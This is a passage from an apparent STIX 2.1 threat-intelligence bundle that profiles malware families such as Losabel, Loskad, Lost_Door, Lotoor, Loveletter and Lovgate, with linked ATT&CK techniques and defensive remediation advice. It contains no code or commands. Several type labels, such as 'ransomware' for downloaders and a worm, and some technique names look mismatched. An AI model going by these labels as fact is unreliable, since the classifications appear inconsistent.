      "description": "Loring exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--108de6c0-25b7-56a2-a246-db8d51a487fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a3b078a-0188-532a-b2a2-f699c0230bda",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loring exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d63e7a3c-f6f1-5e14-b042-5734b5fb0c53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Losabel",
      "description": "<h3>Executive Summary</h3>\nLosabel is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLosabel is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Losabel operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Losabel ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Losabel receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Losabel infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Losabel executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Losabel frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Losabel",
        "Downloader.Losabel",
        "Win32/Losabel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Losabel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/losabel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1f87960-37dc-5dfc-b0a7-96964d773edf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d63e7a3c-f6f1-5e14-b042-5734b5fb0c53",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Losabel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f013721-2037-53a7-8855-6831d04a9949",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d63e7a3c-f6f1-5e14-b042-5734b5fb0c53",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Losabel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20034c5e-0a20-5579-8de7-510f8a7259cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d63e7a3c-f6f1-5e14-b042-5734b5fb0c53",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Losabel exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--112d5d7d-93e0-5199-be5f-ebaff78e5642",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loskad",
      "description": "Trojan:Win32/Loskad is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Loskad</b><br>To an end-user, a Loskad infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Loskad is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Loskad is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Loskad frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Loskad reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loskad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loskad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b65e942-5b55-5c7f-ab26-dd6471471cf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--112d5d7d-93e0-5199-be5f-ebaff78e5642",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loskad exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5195880d-cead-5d7a-ba2f-9c27ee258398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--112d5d7d-93e0-5199-be5f-ebaff78e5642",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loskad exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25201ce0-114e-5270-b5df-a71211d25927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--112d5d7d-93e0-5199-be5f-ebaff78e5642",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loskad exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97268adc-77e1-5bd3-96ed-314fea863990",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--112d5d7d-93e0-5199-be5f-ebaff78e5642",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loskad exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c05af73-fb07-53e3-b84c-b250b0b20393",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--112d5d7d-93e0-5199-be5f-ebaff78e5642",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loskad exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lost_Door",
      "description": "Lost Door (cataloged across security software as Backdoor.LostDoor, Trojan.Win32.LostDoor, and Backdoor:Win32/LostDoor) is a classic Delphi-authored Remote Access Trojan (RAT) created in 2007 by an underground developer known as 'T\u00fcrkojan' / 'Lost_Door'. Widely adopted across global cybercriminal forums, Lost Door provides full remote administrative control over compromised Windows endpoints. Its capabilities include real-time desktop screen capture, webcam surveillance, audio recording, reverse command shells, registry editing, active process management, and automated password extraction from web browsers, email clients, and instant messengers. Lost Door was commonly distributed through peer-to-peer file sharing networks, malicious email attachments, and trojanized freeware software bundles.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.LostDoor",
        "Trojan.Win32.LostDoor",
        "Backdoor:Win32/LostDoor",
        "Win32/LostDoor.RAT",
        "LostDoor.E-Server"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lost_Door",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lost_door"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41ae23c0-ecb5-5273-875d-7e45c459ab4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1e93683-7fa0-5f3f-8e18-5199c7e0f654",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1a262cb-cba6-568e-8177-5a3b76522c39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b1c7632-2364-5b8b-8198-e4f35ef37d5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44472664-a1b3-5d2f-8d56-ae75af971340",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c7b19c3-883c-5d13-9ecf-99cc8bf654e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28bcc701-690b-5864-8555-44338d34eccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed9e0565-106b-5c44-b067-a6fec05848ee",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lost_Door exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9139645-c249-566b-9038-0aba99d0ef6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lotoor",
      "description": "Exploit:AndroidOS/Lotoor (often referred to simply as Lotoor) is a specific classification for a family of **Android Rooting Exploits**. Unlike traditional malware that runs within the confines of the Android sandbox, Lotoor's sole objective is to actively exploit vulnerabilities in the Linux kernel underlying the Android OS to escalate its privileges to `root` (superuser). Once root access is achieved, the malware can bypass all Android security models to install persistent backdoors or aggressive adware.<br><br><b>Understanding Android Rooting Malware</b><br>To an end-user, the infection vector is usually a deceptive app downloaded from a third-party marketplace. For a Mobile Device Management (MDM) administrator, Lotoor represents a complete device compromise. By achieving root, the malware can install itself in the `/system` partition, meaning it survives factory resets, rendering standard removal techniques useless.<br><br><b>Execution and Exploitation Mechanics</b><br>Lotoor is typically bundled inside Trojanized applications disguised as games or utilities (`T1444`). Upon installation and execution (`T1627`), it profiles the device's specific Android version, kernel build, and hardware architecture (`T1426`). It then selects and deploys a specific privilege escalation exploit tailored to that environment (historically, exploits like 'Towelroot' or 'Framaroot') (`T1404`). If successful, it mounts the read-only `/system` partition as read-write, drops an `su` binary, and installs its secondary payload (often a persistent backdoor or un-removable adware) directly into the system directories (`T1543`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the complete compromise of the mobile device's integrity and the potential theft of corporate data if the device is used for BYOD. MDM logs will flag the device as 'Rooted' or 'Compromised'. The user may notice the sudden appearance of new, uninstallable applications (bloatware) or highly aggressive, full-screen advertisements appearing even when the browser is closed. The device may also become highly unstable and prone to crashing due to the kernel exploitation. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lotoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lotoor"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2011-1823"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d46283cf-417a-525d-a9ea-f6222340a0bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1404: Exploitation for Privilege Escalation (Exploiting the Android/Linux kernel)",
      "description": "MITRE ATT&CK Technique T1404 (Exploitation for Privilege Escalation (Exploiting the Android/Linux kernel)) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1404",
          "url": "https://attack.mitre.org/techniques/T1404/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9ba7e64-76c4-5c57-bcea-2c8b909dd5ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9139645-c249-566b-9038-0aba99d0ef6b",
      "target_ref": "attack-pattern--d46283cf-417a-525d-a9ea-f6222340a0bc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lotoor exhibits technique T1404 (Exploitation for Privilege Escalation (Exploiting the Android/Linux kernel))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34780fa6-6fad-5c74-9ca0-c2b57f103691",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9139645-c249-566b-9038-0aba99d0ef6b",
      "target_ref": "attack-pattern--09c42517-207d-5692-a627-244c9dafb071",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lotoor exhibits technique T1543 (Create or Modify System Process (Installing payloads in /system))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f536fa91-48bb-57c9-95b1-67b1f525d8c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1444: Drive-by Compromise (Malicious third-party app stores)",
      "description": "MITRE ATT&CK Technique T1444 (Drive-by Compromise (Malicious third-party app stores)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1444",
          "url": "https://attack.mitre.org/techniques/T1444/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48ff2d83-fe9c-52fe-850e-a52247002ed6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9139645-c249-566b-9038-0aba99d0ef6b",
      "target_ref": "attack-pattern--f536fa91-48bb-57c9-95b1-67b1f525d8c9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lotoor exhibits technique T1444 (Drive-by Compromise (Malicious third-party app stores))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d57532e6-f0fb-53df-a04e-b9f28e804697",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1426: System Information Discovery (Profiling kernel versions for exploits)",
      "description": "MITRE ATT&CK Technique T1426 (System Information Discovery (Profiling kernel versions for exploits)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1426",
          "url": "https://attack.mitre.org/techniques/T1426/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8a0c897-d680-591e-bc9b-8dc45108db5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9139645-c249-566b-9038-0aba99d0ef6b",
      "target_ref": "attack-pattern--d57532e6-f0fb-53df-a04e-b9f28e804697",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lotoor exhibits technique T1426 (System Information Discovery (Profiling kernel versions for exploits))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--535a5438-6c9c-50ef-adeb-153f3044adc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loveletter",
      "description": "<h3>Executive Summary</h3>\nLoveletter (infamously known as the \"ILOVEYOU\" bug) is a historic, highly destructive mass-mailing worm that caused catastrophic global disruption in May 2000. While largely eradicated from modern environments, it serves as a foundational case study in social engineering and the abuse of native Windows scripting environments. The worm leveraged Microsoft Outlook and a VBScript payload to rapidly self-propagate while simultaneously overwriting and destroying millions of critical user files.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLoveletter's unprecedented spread was fueled by a perfectly executed social engineering lure:\n<ul>\n<li><strong>The \"LOVE-LETTER-FOR-YOU.TXT.vbs\" Lure:</strong> The worm arrived via email with the subject line \"ILOVEYOU.\" It contained an attachment masquerading as a text file but was actually a malicious Visual Basic Script (.vbs). At the time, default Windows settings hid file extensions, leading users to believe it was a harmless text document.</li>\n<li><strong>Mass-Mailing Propagation:</strong> Upon execution, the VBScript utilized Windows Scripting Host (WSH) to interact with the Microsoft Outlook MAPI interface. It automatically sent a copy of itself to every single contact in the victim's Windows Address Book, causing exponential network congestion and email server crashes worldwide.</li>\n<li><strong>Destructive Payload (File Overwriting):</strong> Beyond spreading, Loveletter was highly destructive. It recursively scanned local and mapped network drives, searching for files with extensions like `.jpg`, `.jpeg`, `.vbs`, `.vbe`, `.js`, `.css`, `.mp3`, and `.mp2`. It overwrote these files with a copy of its own malicious code and appended `.vbs` to the filename, effectively destroying the original data.</li>\n<li><strong>Password Theft (Barok Trojan):</strong> In some variants, the script also attempted to download and execute a secondary payload known as the \"Barok\" trojan, designed to steal cached RAS (Remote Access Service) passwords.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the original Loveletter worm is obsolete due to modern email filtering and macro security policies, the *techniques* it pioneered are still actively used today. File-overwriting is the precursor to modern ransomware, and utilizing native scripting languages (VBS, PowerShell) to \"live off the land\" remains a primary tactic for advanced threat actors.\n\n<h3>Historical Remediation</h3>\n<ul>\n<li><strong>Mail Gateway Blocking:</strong> The immediate response involved configuring corporate firewalls and email gateways to outright block incoming emails containing the subject line \"ILOVEYOU\" or attachments ending in `.vbs`.</li>\n<li><strong>Disable Windows Scripting Host:</strong> Many organizations temporarily disabled the Windows Scripting Host (`wscript.exe`) entirely via Group Policy to prevent the payload from executing, a tactic still utilized during severe \"fileless\" malware outbreaks today.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VBS/LoveLetter",
        "Worm.ILoveYou",
        "VBS.LoveBug"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loveletter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loveletter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da2ad91f-7bde-503a-acb2-ad924984560d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--535a5438-6c9c-50ef-adeb-153f3044adc9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loveletter exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19967604-92f1-5a09-b1a2-fb71d1a752de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--535a5438-6c9c-50ef-adeb-153f3044adc9",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loveletter exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b94fa288-bb44-5ab6-95fa-e5b23eee0098",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--535a5438-6c9c-50ef-adeb-153f3044adc9",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loveletter exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9a4d8a61-c2a1-5639-9950-ed28aaba5705",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1114.003: Email Forwarding Rule",
      "description": "MITRE ATT&CK Technique T1114.003 (Email Forwarding Rule) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1114.003",
          "url": "https://attack.mitre.org/techniques/T1114/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6b273f1-31aa-588f-b9fa-2ecf53912c69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--535a5438-6c9c-50ef-adeb-153f3044adc9",
      "target_ref": "attack-pattern--9a4d8a61-c2a1-5639-9950-ed28aaba5705",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loveletter exhibits technique T1114.003 (Email Forwarding Rule)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5bdcb184-b6d8-504c-81a7-95bc78bab50b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lovgate",
      "description": "Lovgate (historically documented across cybersecurity research as Worm:Win32/Lovgate, Email-Worm.Win32.Lovgate, and Backdoor:Win32/Lovgate) is a landmark mass-mailing email worm and backdoor family active since the early 2000s. Lovgate spreads aggressively by scanning local network subnets for open administrative network shares (C$, ADMIN$) with weak passwords and utilizing its own embedded SMTP engine to dispatch infected email replies to unread messages in Microsoft Outlook and Windows Address Book. Upon infection, Lovgate opens a hidden backdoor listener on TCP ports (such as 20168), enabling remote attackers to execute arbitrary console commands, upload and download files, terminate processes, and capture keystrokes. Lovgate ensures persistence by adding entries to HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Lovgate",
        "Email-Worm.Win32.Lovgate",
        "Backdoor:Win32/Lovgate",
        "Win32/Lovgate",
        "I-Worm.Lovgate",
        "Lovgate Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lovgate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lovgate"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--844bbf67-00a1-50bf-99be-811780ca8369",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5bdcb184-b6d8-504c-81a7-95bc78bab50b",
      "target_ref": "attack-pattern--f6e44ca9-76e4-5a5b-81ea-4fbe314d9178",
